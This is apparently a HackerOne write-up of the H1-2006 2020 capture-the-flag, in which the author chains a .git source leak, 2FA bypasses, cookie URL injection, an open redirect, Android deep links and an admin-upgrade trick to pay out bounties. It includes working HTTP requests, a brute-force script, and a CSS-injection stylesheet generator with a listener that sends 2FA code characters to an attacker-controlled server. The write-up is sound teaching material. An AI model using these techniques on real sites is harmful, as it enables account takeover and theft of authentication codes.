[H1-2006 2020] CTF Writeup
Critical
Vulnerability Details
## Summary:
The CTF's objective could be found in the following Twitter post:
{F858468}
As outlined on `https://hackerone.com/h1-ctf`, all subdomains of `bountypay.h1ctf.com` are in scope.
Doing subdomain enumeration revealed the following subdomains:
* api.bountypay.h1ctf.com
* app.bountypay.h1ctf.com
* bountypay.h1ctf.com
* software.bountypay.h1ctf.com
* staff.bountypay.h1ctf.com
* www.bountypay.h1ctf.com
It was possible to chain multiple vulnerabilities, ultimately completing the task of performing a bounty payout from Marten Mickos' account with the following steps:
1. Leaking source code of a logger on `app.bountypay.h1ctf.com` via a `.git` folder pointing to a public GitHub repository and accessing a leftover logfile referenced in the source code that contains Brian Oliver's credentials for `app.bountypay.h1ctf.com`
2. Bypassing 2FA on `app.bountypay.h1ctf.com` and getting full access to Brian Oliver's user account
3. URL injection via cookie value on `app.bountypay.h1ctf.com`, enabling an attacker to issue arbitrary API calls on `api.bountypay.h1ctf.com` with Brian Oliver's privileges
4. Misusing an open redirect on `api.bountypay.h1ctf.com` via cookie injection on `staff.bountypay.h1ctf.com` to download the BountyPay APK
5. Completing the Android challenges and retrieving an API token for `api.bountypay.h1ctf.com`
6. Use the token value in the `X-Token` header to access `/api/staff` on `api.bountypay.h1ctf.com` and create Sandra Allison's user account for `staff.bountypay.h1ctf.com`
6. Access `staff.bountypay.h1ctf.com` and get admin privileges by reporting a manipulated HTML site to the admins, which triggers an "upgrade to admin" request for Sandra Allison's account when being visited
7. Use the password for Marten Mickos displayed in the "Admin" tab of `staff.bountypay.h1ctf.com` on `app.bountypay.h1ctf.com` to login as Marten Mickos. Bypass the 2FA that protects the payout of bounties on `app.bountypay.h1ctf.com` by using malicious stylesheets to retrieve the 2FA code and complete the payout process to payout the bounty payments for Marten Mickos
## Steps To Reproduce:
### 1. Source code leak on app.bountypay.h1ctf.com => user credentials
Performing directory enumeration on that subdomain revealed that the server returns status code 403 instead of 404 for every directory with the string `*git` (e.g. `.git`, `cgit`,...).
Requesting `https://app.bountypay.h1ctf.com/.git/config` returns the following result:
```
[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
[remote "origin"]
url = https://github.com/bounty-pay-code/request-logger.git
fetch = +refs/heads/*:refs/remotes/origin/*
[branch "master"]
remote = origin
merge = refs/heads/master
```
Trying to access that repository on github succeeds. The repository contains a single PHP file, `logger.php`:
```
<?php
$data = array(
'IP' => $_SERVER["REMOTE_ADDR"],
'URI' => $_SERVER["REQUEST_URI"],
'METHOD' => $_SERVER["REQUEST_METHOD"],
'PARAMS' => array(
'GET' => $_GET,
'POST' => $_POST
)
);
file_put_contents('bp_web_trace.log', date("U").':'.base64_encode(json_encode($data))."\n",FILE_APPEND );
```
Next, I tried to access `/bp_web_trace.log`, which contains the following data:
```
1588931909:eyJJUCI6IjE5Mi4xNjguMS4xIiwiVVJJIjoiXC8iLCJNRVRIT0QiOiJHRVQiLCJQQVJBTVMiOnsiR0VUIjpbXSwiUE9TVCI6W119fQ==
1588931919:eyJJUCI6IjE5Mi4xNjguMS4xIiwiVVJJIjoiXC8iLCJNRVRIT0QiOiJQT1NUIiwiUEFSQU1TIjp7IkdFVCI6W10sIlBPU1QiOnsidXNlcm5hbWUiOiJicmlhbi5vbGl2ZXIiLCJwYXNzd29yZCI6IlY3aDBpbnpYIn19fQ==
1588931928:eyJJUCI6IjE5Mi4xNjguMS4xIiwiVVJJIjoiXC8iLCJNRVRIT0QiOiJQT1NUIiwiUEFSQU1TIjp7IkdFVCI6W10sIlBPU1QiOnsidXNlcm5hbWUiOiJicmlhbi5vbGl2ZXIiLCJwYXNzd29yZCI6IlY3aDBpbnpYIiwiY2hhbGxlbmdlX2Fuc3dlciI6ImJEODNKazI3ZFEifX19
1588931945:eyJJUCI6IjE5Mi4xNjguMS4xIiwiVVJJIjoiXC9zdGF0ZW1lbnRzIiwiTUVUSE9EIjoiR0VUIiwiUEFSQU1TIjp7IkdFVCI6eyJtb250aCI6IjA0IiwieWVhciI6IjIwMjAifSwiUE9TVCI6W119fQ==
```
The lines seem to contain a timestamp and base64 encoded data. The decoded data contains a password:
```
{"IP":"192.168.1.1","URI":"\/","METHOD":"GET","PARAMS":{"GET":[],"POST":[]}}
{"IP":"192.168.1.1","URI":"\/","METHOD":"POST","PARAMS":{"GET":[],"POST":{"username":"brian.oliver","password":"V7h0inzX"}}}
{"IP":"192.168.1.1","URI":"\/","METHOD":"POST","PARAMS":{"GET":[],"POST":{"username":"brian.oliver","password":"V7h0inzX","challenge_answer":"bD83Jk27dQ"}}}
{"IP":"192.168.1.1","URI":"\/statements","METHOD":"GET","PARAMS":{"GET":{"month":"04","year":"2020"},"POST":[]}}
```
The credentials `brian.oliver:V7h0inzX` are still valid: When trying to login with them, I did not get the error message `Invalid username / password combination` anymore, but instead I got redirected to a 2FA page.
### 2. Bypassing 2FA on app.bountypay.h1ctf.com => access to user account
The 2FA page shows detailed information about the structure of the 2FA password (parameter `challenge_response`):
{F858471}
The 2FA authentication can be easily bypassed because the challenge can be chosen by the user and equals `md5sum(challenge_answer)`.
Therefore, I simply generated a valid pair of challenge - challenge answer as follows:
```
$ echo -n AAAAAAAAAA | md5sum
16c52c6e8326c071da771e66dc6e9e57 -
```
The following request bypasses the 2FA check for the user `brian.oliver` and completes the login process:
```
POST / HTTP/1.1
Host: app.bountypay.h1ctf.com
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 110
username=brian.oliver&password=V7h0inzX&challenge_answer=AAAAAAAAAA&challenge=16c52c6e8326c071da771e66dc6e9e57
```
### 3. URL injection via cookie value on app.bountypay.h1ctf.com => arbitrary API calls on api.bountypay.h1ctf.com
When analyzing the requests made when using `app.bountypay.h1ctf.com` as user `brian.oliver`, I noticed that the cookie value is not encrypted but only base64 encoded.
A decoded cookie looks like follows:
```
{"account_id":"F8gHiqSdpK","hash":"de235bffd23df6995ad4e0930baac1a2"}
```
Manipulating the `hash` value invalidates the session, but we can use arbitrary values for `account_id`, e.g.:
```
{"account_id":"xyz","hash":"de235bffd23df6995ad4e0930baac1a2"}
```
The `account_id` value is used as part of the API url that gets returned when issuing a GET request to `/statements?month=[month]&year=[year]`. As the URL fragment gets ignored server-side, it is possible to terminate the URL with `#` after the user ID. It is possible to make calls to arbitrary endpoints that cannot be accessed directly by injecting data in the `account_id` field, e.g. retrieving user information instead of the transactions:
```
GET /statements?month=01&year=2020 HTTP/1.1
Host: app.bountypay.h1ctf.com
Connection: close
Cookie: token=eyJhY2NvdW50X2lkIjoiRjhnSGlxU2RwSyMiLCJoYXNoIjoiZGUyMzViZmZkMjNkZjY5OTVhZDRlMDkzMGJhYWMxYTIifQ==
HTTP/1.1 200 OK
Server: nginx/1.14.0 (Ubuntu)
Date: Sat, 06 Jun 2020 12:46:14 GMT
Content-Type: application/json
Connection: close
Content-Length: 205
{"url":"https:\/\/api.bountypay.h1ctf.com\/api\/accounts\/F8gHiqSdpK#\/statements?month=01&year=2020","data":"{\"account_id\":\"F8gHiqSdpK\",\"owner\":\"Mr Brian Oliver\",\"company\":\"BountyPay Demo \"}"}
```
Base64-decoded cookie value:
```
{"account_id":"F8gHiqSdpK#","hash":"de235bffd23df6995ad4e0930baac1a2"}
```
### 4. Open redirect on api.bountypay.h1ctf.com => APK download
When accessing `https://api.bountypay.h1ctf.com` directly, I discovered a redirect which only works for the following whitelisted URLs:
* `https://www.google.com/search?q=*`, which redirects to google. I first tried to use one of Google's redirector endpoints in order to redirect via google to a host under my control, which could be used to perform another redirect to arbitrary targets, effectively bypassing the whitelist check, but I did not succeed because of a single character (`?`).
* `https://software.bountypay.h1ctf.com/` seems to be in the whitelist, but is not accessible from the externally - after being redirected I got an nginx error message:
{F858472}
All other domains aren't on the whitelist, the response contains the error message `URL NOT FOUND IN WHITELIST` or `URL must begin with either http:// or https://`.
However, visiting `https://software.bountypay.h1ctf.com/` via the API seems to work with the following base64-decoded cookie value:
```
{"account_id":"../../redirect?url=https://software.bountypay.h1ctf.com/#","hash":"de235bffd23df6995ad4e0930baac1a2"}
```
The site seems to require a login, but only accepts POST requests, which I did not manage to submit via the redirect. After giving up on that, I bruteforced directories using the following script using Seclist's `raft-small-directories.txt` wordlist:
```
import base64
import json
import requests
import sys
def submit(payload):
url = "https://app.bountypay.h1ctf.com/statements?month=02&year=2019"
token = { "hash": "de235bffd23df6995ad4e0930baac1a2", "account_id": f"../../redirect?url=https://software.bountypay.h1ctf.com/{payload}#" }
cookies = { "token": base64.b64encode(json.dumps(token).encode()).decode() }
res = requests.get(url, cookies=cookies)
return res
def brute():
with open("/usr/share/seclists/Discovery/Web-Content/raft-small-directories.txt") as f:
for line in f:
payload = line.strip()
res = submit(payload)
json_data = json.loads(res.text)
data = json_data.get("data")
url = json_data.get("url")
if not "404 Not Found" in data:
print(f"[+] {url}")
print(data)
if __name__ == "__main__":
if len(sys.argv) < 2:
brute()
else:
payload = sys.argv[1]
res = submit(payload)
print(res.status_code, res.text)
```
After running the script for a short time, I got a directory listing under `/uploads`:
```
[+] https://api.bountypay.h1ctf.com/api/accounts/../../redirect?url=https://software.bountypay.h1ctf.com/uploads#/statements?month=02&year=2019
<html>
<head><title>Index of /uploads/</title></head>
<body bgcolor="white">
<h1>Index of /uploads/</h1><hr><pre><a href="../">../</a>
<a href="/uploads/BountyPay.apk">BountyPay.apk</a> 20-Apr-2020 11:26 4043701
</pre><hr></body>
</html>
```
Downloading the API was possible using `wget https://software.bountypay.h1ctf.com/uploads/BountyPay.apk` directly.
### 5. Android challenges
I decompiled the Android app with `apktool` and `dex2jar` and analyzed the source code in` jadx`.
For interacting with the app I used an Android Studio's AVD manager to spin up an emulator with Android 6. Luckily, the app works under Android 6, this enables loading a Burp certificate and intercept the HTTP(s) traffic generated by the app without troubles. For entering values into text fields I used `adb shell input text [input]` in order to be able to copy-paste values instead of typing them out.
Analyzing the app revealed 3 interesting classes, `PartOneActivity`, `PartTwoActivity` and `PartThreeActivity`. Thoses classes correspond to the levels that need to be solved in order to complete the challenges.
#### PartOneActivity
This challenge was actually pretty simple. When starting the app, this activity gets started straightaway. However, only a blank screen was displayed. When clicking on the BountyPay icon in the bottom right corner, `Hint: Deep Links` showed up.
Reviewing `AndroidManifest.xml` contains the following Intent filter for `PartOneActivity`:
```
<activity android:label="@string/title_activity_part_one" android:name="bounty.pay.PartOneActivity" android:theme="@style/AppTheme.NoActionBar">
<intent-filter android:label="">
<action android:name="android.intent.action.VIEW"/>
<category android:name="android.intent.category.DEFAULT"/>
<category android:name="android.intent.category.BROWSABLE"/>
<data android:host="part" android:scheme="one"/>
</intent-filter>
</activity>
```
PartOneActivity processes data from an intent as follows:
```
if (getIntent() != null && getIntent().getData() != null) {
String str = getIntent().getData().getQueryParameter("start");
if (str != null && str.equals("PartTwoActivity") && sharedPreferences.contains("USERNAME")) {
str = sharedPreferences.getString("USERNAME", "");
SharedPreferences.Editor editor = sharedPreferences.edit();
String str1 = sharedPreferences.getString("TWITTERHANDLE", "");
editor.putString("PARTONE", "COMPLETE").apply();
logFlagFound(str, str1);
startActivity(new Intent((Context)this, PartTwoActivity.class));
}
}
```
According to the source code, the URL for starting PartOneActivity via deep link is `one://part?start=PartTwoActivity`.
When using that deep link by hosting an HTML file (see PartThreeActivity) on my machine and accessing it via the emulator's browser, I got redirected to PartTwoActivity as expected.
#### PartTwoActivity
In order to render all components from PartTwoActivity, it needs to be accessed via another deep link URL: `two://part?two=light&switch=on`. The correct values for the query parameters can be found out by reviewing the source code of `PartTwoActivity` in the same manner as for solving `PartOneActivity` and opening the app via link in my self-hosted HTML file (see PartThreeActivity).
After that, a value needs to be entered into the text field. The source code that decides if the input is correct and completes `PartTwoActivity` is:
{F858476}
One needs to enter a value that equals data the gets fetched from Firebase Realtime Database. By intercepting the app's traffic, the required value, `X-Token`, could be found in the websocket requests:
{F858475}
By entering `Token` into the text input field (`X-` gets appended according to the source code), one can complete PartTwoActivity.
#### PartThreeActivity
`PartThreeActivity` needs to be started via deep link like the first two activities using the following parameter values:
* `three`: `base64(PartThreeActivity)`
* `switch`: `base64(on)`
* `header`: `X-Token`
In order to complete that level, it is necessary to submit a hash from the firebase database:
{F858474}
`PartThreeActivity` can also be solved by watching the network traffic:
{F858473}
In another websocket request, I could also see a hostname being transmitted: `http://api.bountypay.h1ctf.com` - this hints where the hash could be used in the next stage...
Complete HTML file that contains deep links for all levels:
```
<!DOCTYPE html>
<html>
<head><title>BountyPay App Exploit Page</title></head>
<body style="text-align: center;">
<h1><a href="one://part?start=PartTwoActivity">Start PartOneActivity</a></h1>
<h1><a href="two://part?two=light&switch=on">Start PartTwoActivity</a></h1>
<h1><a href="three://part?three=UGFydFRocmVlQWN0aXZpdHk%3d&switch=b24%3d&header=X-Token">Start PartThreeActivity</a></h1>
</body>
</html>
```
## Leaked App Token => Creation of staff user account
The leaked hash, `8e9998ee3137ca9ade8f372739f062c1`, can be used as `X-Token` header for `api.bountypay.h1ctf.com` and allows access to the `/api/staff` endpoint, which was not possible before:
Issuing a GET request to `/api/staff` returns the staff IDs of Brian Oliver and Sam Jenkins.
```
GET /api/staff HTTP/1.1
Host: api.bountypay.h1ctf.com
Connection: close
X-Token: 8e9998ee3137ca9ade8f372739f062c1
HTTP/1.1 200 OK
Server: nginx/1.14.0 (Ubuntu)
Date: Wed, 03 Jun 2020 23:33:27 GMT
Content-Type: application/json
Connection: close
Content-Length: 104
[{"name":"Sam Jenkins","staff_id":"STF:84DJKEIP38"},{"name":"Brian Oliver","staff_id":"STF:KE624RQ2T9"}]
```
Issuing a POST request works as well. After fiddling around with content type and request parameters I found out that a POST request with `Content-Type: application/json` and POST parameter `staff_id` seems to be valid syntaxwise, but returns `["Invalid Staff ID"]` for syntactically correct, but arbitrary staff IDs such as `STF:1111111111` and `["Staff Member already has an account"]` for existing staff IDs such as `STF:84DJKEIP38`.
However, my initial Twitter recon paid off, I remembered a Sandra Allison account following BountyPayHQ with the following post:
{F858477}
The staff ID from the badge seems to work (Sandra probably did not obtain an account for the API yet):
```
POST /api/staff HTTP/1.1
Content-Length: 25
Host: api.bountypay.h1ctf.com
X-Token: 8e9998ee3137ca9ade8f372739f062c1
Content-Type: application/x-www-form-urlencoded
Connection: close
staff_id=STF%3a8FJ3KFISL3
HTTP/1.1 201 Created
Server: nginx/1.14.0 (Ubuntu)
Date: Sat, 06 Jun 2020 15:05:34 GMT
Content-Type: application/json
Connection: close
Content-Length: 110
{"description":"Staff Member Account Created","username":"sandra.allison","password":"s%3D8qB8zEpMnc*xsz7Yp5"}
```
### 6. Privilege escalation: Staff user account => Admin access
Logging in with `sandra.allison` and password `s%3D8qB8zEpMnc*xsz7Yp5` works at `https://staff.bountypay.h1ctf.com`.
The logged-in part of the website can be used by staff members for receiving messages from admins. One can see a welcome ticket in the "Support Tickets" section - replies are currently disabled. In the "Profile" section, staff members can change their profile name and choose from one of three avatars.
When trying out all possible actions and looking at requests / responses in BurpSuite, some things caught my attention:
* The website uses templates for displaying content. The template name is submitted via the HTTP GET parameter `template`. I bruteforced additional values for that parameter with `ffuf` and found out that possible values are `login` (which displays the login page), `home` (used for most sections of the login area), `ticket` (used in the tickets section for displaying the welcome message) and `admin` (not accessible with that user - when trying to access it, the error message `No Access to this resource` gets returned).
* When manipulating the request submitted when changing profile data, special characters are stripped from the data, however, it is possible to use blanks. It is possible to use invalid values for the `avatar` parameter, the backend does not refuse to save them. When looking for reflections of the parameters submitted, I noticed that the `avatar` parameter gets reflected on the ticket page as well as on the profile pages in the `class` attribute of an HTML `div` element.
* At the bottom of the page, there is a `Report This Page` link. When clicking on it, a dialog with the following text is displayed:
```
Is there something wrong with this page? If so hit the "Report Now" button and the page will be sent over to our admins to checkout.
Pages in the /admin directory will be ignored for security
```
* There is a custom JavaScript file which handles clicking on different tabs to navigate to different parts of the logged-in part of the website, submission of the "Report This Page" request which can be triggered by clicking on the "Report Now" button in the reporting dialog as well as the submission of an "Upgrade To Admin" function which seems to give users admin privileges.
```
$('.upgradeToAdmin').click(function () {
let t = $('input[name="username"]').val();
$.get('/admin/upgrade?username=' + t, function () {
alert('User Upgraded to Admin')
})
}),
$('.tab').click(function () {
return $('.tab').removeClass('active'),
$(this).addClass('active'),
$('div.content').addClass('hidden'),
$('div.content-' + $(this).attr('data-target')).removeClass('hidden'),
!1
}),
$('.sendReport').click(function () {
$.get('/admin/report?url=' + url, function () {
alert('Report sent to admin team')
}),
$('#myModal').modal('hide')
}),
document.location.hash.length > 0 && ('#tab1' === document.location.hash && $('.tab1').trigger('click'), '#tab2' === document.location.hash && $('.tab2').trigger('click'), '#tab3' === document.location.hash && $('.tab3').trigger('click'), '#tab4' === document.location.hash && $('.tab4').trigger('click'));
```
Obviously, the goal is to somehow trigger the "Upgrade To Admin" functionality. As the current user cannot issue that request, an Admin has to be tricked into submitting that request.
XSS is not possible because all special characters are stripped from user input, therefore, the "Report This Page" functionality must be misused for that.
In order to achieve that, I needed two conditions to be met by the reported page's HTML:
1. There must be an `input` element with the `name` attribute set to `username`, containing the value `sandra.allison`
2. A click on an element with the class `upgradeToAdmin` must be triggered in the background when visiting the manipulated page without any sort of user interaction
The only `input` field meeting the first requirement can be found in the `login` template. When submitting the `username` parameter in the query string, it luckily is set as value in that input field.
As stated before, it is possible to additionally assign arbitrary classes to a `div` element in the ticket and profile view. What if we change a `div` element into a button by adding the `button` class (as well as `btn btn-primary` because the page uses Bootstrap, just to be sure that the `div` is clickable) and the `upgradeToAdmin` class in order to cause a click on that button to submit the "Upgrade to admin" request?
But how to create a click event without user interaction? Luckily, the custom javascript file helps us again here: When adding the URL fragments `tab1`, `tab2` or `tab3` to the URL, a click on the corresponding tab (or any element with the `tabX` class gets triggered in the background. Nice!
The only problem left is that we need at least two different templates to be loaded at the same time in order to put a single page together that chains all that things into a usable exploit. Luckily, that is no problem as well. I found out that it is possible to load multiple templates by submitting an array value for the `template` parameter. However, it took me some time to complete that part of the CTF due to a strange behaviour of the site: I first used `template[0]=x&template[1]=y` for specifying multiple templates, which perfectly works in the browser, but does not have any effect when triggering that via the "Report This Page" functionality. After changing the syntax to `template[]=x&template[]=y`, the same request worked without any changes.
Let's summarize that into an exploit: In order to upgrade privileges, the following steps must be taken:
1. Change profile data with the following request:
```
POST /?template=home HTTP/1.1
Host: staff.bountypay.h1ctf.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 77
Connection: close
Cookie: token=c0lsdUVWbXlwYnp5L1VuMG5qcGdMZnlPTm9iQjhhbzhweEtKaFFCZGhSVHBnMVNDWHlsVkRKclJqcnIwSmVNbFRkbnIvU3MzMndYSW5XNmNFS1l5T1FDdTVNZFJPMS9TTWtDWEFkODBtRGRlbXpERlZ5WVlUdVZ6eDA0VnkxaWxRbU9CUVA2dFVoOTdwQVljb0NpbSt2d0RkYVF1N1BHUmFSbjZkNHpH
Upgrade-Insecure-Requests: 1
profile_name=sandra&profile_avatar=tab3+upgradeToAdmin+btn+btn-primary+button
```
2. Submit the following URL via the "Report This Page" functionality: `/?template[]=login&template[]=ticket&ticket_id=3582&username=sandra.allison#tab3`
The corresponding request contains that URL in URL-encoded base64 and looks as follows:
```
GET /admin/report?url=Lz90ZW1wbGF0ZVtdPWxvZ2luJnRlbXBsYXRlW109dGlja2V0JnRpY2tldF9pZD0zNTgyJnVzZXJuYW1lPXNhbmRyYS5hbGxpc29uI3RhYjM%3d HTTP/1.1
Host: staff.bountypay.h1ctf.com
Connection: close
Cookie: token=c0lsdUVWbXlwYnp5L1VuMG5qcGdMZnlPTm9iQjhhbzhweEtKaFFCZGhSVHBnMVNDWHlsVkRKclJqcnIwR1B3NVRQRFYrV01aenlqQ2pWU0lGNUlpYkRlOXlZWk1BR0hvSVg2SUJZVlAya2RZa1IvaFJqQTZldmswcmk0WXptV1VFMmZYRUtMU0lteDNtSFlWNVhuNGdmTnJLSUJsNmZ2MVpBK3diZDNTYWZPVlF3QVQwTnI4eFBseFp1V3ZvcWxzVEdjMUpKWUVxRlZVRmU0YWV0Z2N2bGRRemlKUno0UnFrdEE9
```
Et voila, the response contains another cookie:
```
HTTP/1.1 200 OK
Server: nginx/1.14.0 (Ubuntu)
Date: Sun, 07 Jun 2020 17:42:21 GMT
Content-Type: application/json
Connection: close
Set-Cookie: token=c0lsdUVWbXlwYnp5L1VuMG5qcGdMZnlPTm9iQjhhbzhweEtKaFFCZGhSVHBnMVNDWHlsVkRKclJqcnIwR1B3NVRQRFYrV01aenlqQ2pWU0lGNUlpYkRlOXlZWk1BR0hvSVg2SUJZVlAya2RZa1IvaFJqQTZldmswcmk0WXptV1VFMmZYRUtMU0lteDNtSFlWNVhuNGdmTlZEWXduMEpHVFlBK3diZDNTYWZPVlF3QVQwTnI4eEtseFpMR2dvdjVnVERjd2Raa0QrRkVNU084WEtkNGY3d1JYbFNkU3k0bzRrdEE9; expires=Tue, 07-Jul-2020 17:42:21 GMT; Max-Age=2592000; path=/
Content-Length: 19
["Report received"]
```
After reloading the page using that cookie, an additional tab got added to the page, containing an admin section with passwords for `brian.oliver` and `marten.mickos`!
{F858479}
### 7. 2FA bypass => bounty payout
Considering Brian Oliver's password we retrieved from the staff's Admin page, it looks like the credentials are valid for `https://api.bountypay.h1ctf.com`. As the objective is to help Marten Mickos pay out bounties, it looks like we're very close to the flag. However, there is one additional bypass needed to complete the task...
Logging in with username `marten.mickos` and password `h&H5wy2Lggj*kKn4OD&Ype` succeeds at `https://api.bountypay.h1ctf.com` (when using the MD5 2FA bypass we used for Brian Oliver) as expected. When loading the transactions for May 2020, an open payment is displayed:
{F858480}
However, it's not as simple as clicking on the `Pay` button. There is another 2FA challenge that needs to be completed:
{F858481}
The 2FA cannot be bypassed with the MD5 method from before, that would have been too easy.
When looking at the 2FA flow, I noticed a strange request:
```
POST /pay/17538771/27cd1393c170e1e97f9507a5351ea1ba HTTP/1.1
Host: app.bountypay.h1ctf.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://app.bountypay.h1ctf.com/pay/17538771/27cd1393c170e1e97f9507a5351ea1ba
Content-Type: application/x-www-form-urlencoded
Content-Length: 73
Connection: close
Cookie: token=eyJhY2NvdW50X2lkIjoiQWU4aUpMa245eiIsImhhc2giOiIzNjE2ZDZiMmMxNWU1MGMwMjQ4YjIyNzZiNDg0ZGRiMiJ9
Upgrade-Insecure-Requests: 1
app_style=https%3A%2F%2Fwww.bountypay.h1ctf.com%2Fcss%2Funi_2fa_style.css
```
The `app_style` parameter contains a full URL. I assumed that I might be able to point it to a server under my control and extract information via CSS injection.
Indeed, when pointing it at my server, I noticed requests from a headless chrome. The fact that the request did not seem to come from an application processing stuff but from a browser immediately pointed me towards CSS injection. Indeed - it was possible to make callbacks when a HTML element satisfies certain conditions by forcing the browser to load my own stylesheet that sets the `background:url` to another URL that points to the attacker server on elements using CSS regexes, e.g.:
```
input[name^="code"]{ background:url("https://[attackerserver]:9999/log"); }
```
Great! Luckily, searching for an `input` element starting with a `name` attribute with a value starting with `code` was my first (more or less educated) guess, but it took me some time to figure out the purpose of it. First I thought that it is just a single input field and wasted some time wondering why I did not get any results when querying for the content of the `value` attribute. After correctly guessing the next character, which was an underscore, it came to my mind that there could maybe be multiple `code_*` input fields and indeed: there is `code_1` to `code_7`, which fits to the HTML `input` field for the challenge answer having a max length of 7. Therefore, I suspected that each input field contains one character of the 2FA code, which indeed was the case.
After knowing the input fields to target, I wrote a small bash script that generates an evil CSS stylesheet for revealing the values of those fields when the victim browser loads it instead of the real CSS:
```bash
#!/bin/bash
for i in {1..7}; do
for v in {0..9}; do echo "input[name="code_$i"][value="$v"]{ background:url(\"https://[attackerserver]:9999/log_$i/$v\"); }"; done
for v in {A..Z}; do echo "input[name="code_$i"][value="$v"]{ background:url(\"https://[attackerserver]:9999/log_$i/$v\"); }"; done
for v in {a..z}; do echo "input[name="code_$i"][value="$v"]{ background:url(\"https://[attackerserver]:9999/log_$i/$v\"); }"; done
done
```
As the browser only seems to load CSS from an SSL website, I wrote a small script for my evil HTTPS Server in Python and placed it on my VPS:
```python
$ cat httpserver.py
from http.server import HTTPServer, BaseHTTPRequestHandler
import ssl
import logging
evil_css = open("evil.css", "rb").read()
class SimpleHTTPRequestHandler(BaseHTTPRequestHandler):
def do_GET(self):
if self.path == "/css":
# logging.error(self.headers)
self.send_response(200)
self.send_header("Access-Control-Allow-Origin", "*")
self.send_header("Content-Type", "text/css")
self.end_headers()
self.wfile.write(evil_css)
else:
# logging.error(self.headers)
self.send_response(200)
self.send_header("Access-Control-Allow-Origin", "*")
self.end_headers()
httpd = HTTPServer(('0.0.0.0', 9999), SimpleHTTPRequestHandler)
httpd.socket = ssl.wrap_socket (httpd.socket,
keyfile="[redacted]",
certfile="[redacted]", server_side=True)
httpd.serve_forever()
```
After running the Python script and pointing the URL in the request to `https://[attackerserver]:9999/css`, the log output of the script looked as follows:
```bash
$ python3 httpserver.py
3.21.98.146 - - [05/Jun/2020 21:05:12] "GET /css HTTP/1.1" 200 -
3.21.98.146 - - [05/Jun/2020 21:05:12] "GET /log_7/S HTTP/1.1" 200 -
3.21.98.146 - - [05/Jun/2020 21:05:12] "GET /log_1/t HTTP/1.1" 200 -
3.21.98.146 - - [05/Jun/2020 21:05:12] "GET /log_2/K HTTP/1.1" 200 -
3.21.98.146 - - [05/Jun/2020 21:05:13] "GET /log_3/s HTTP/1.1" 200 -
3.21.98.146 - - [05/Jun/2020 21:05:13] "GET /log_4/P HTTP/1.1" 200 -
3.21.98.146 - - [05/Jun/2020 21:05:13] "GET /log_5/v HTTP/1.1" 200 -
3.21.98.146 - - [05/Jun/2020 21:05:13] "GET /log_6/g HTTP/1.1" 200 -
```
Entering `tKsPvgS` as token succeeded - finally, all bounties were paid and the flag got displayed:
{F858483}
## Impact
.
Actions
View on HackerOneReport Stats
- Report ID: 893395
- State: Closed
- Substate: resolved
- Upvotes: 3